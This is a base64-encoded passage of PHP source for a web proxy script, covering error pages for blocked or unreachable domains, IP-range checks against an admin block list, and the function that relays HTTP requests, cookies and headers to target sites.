IHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51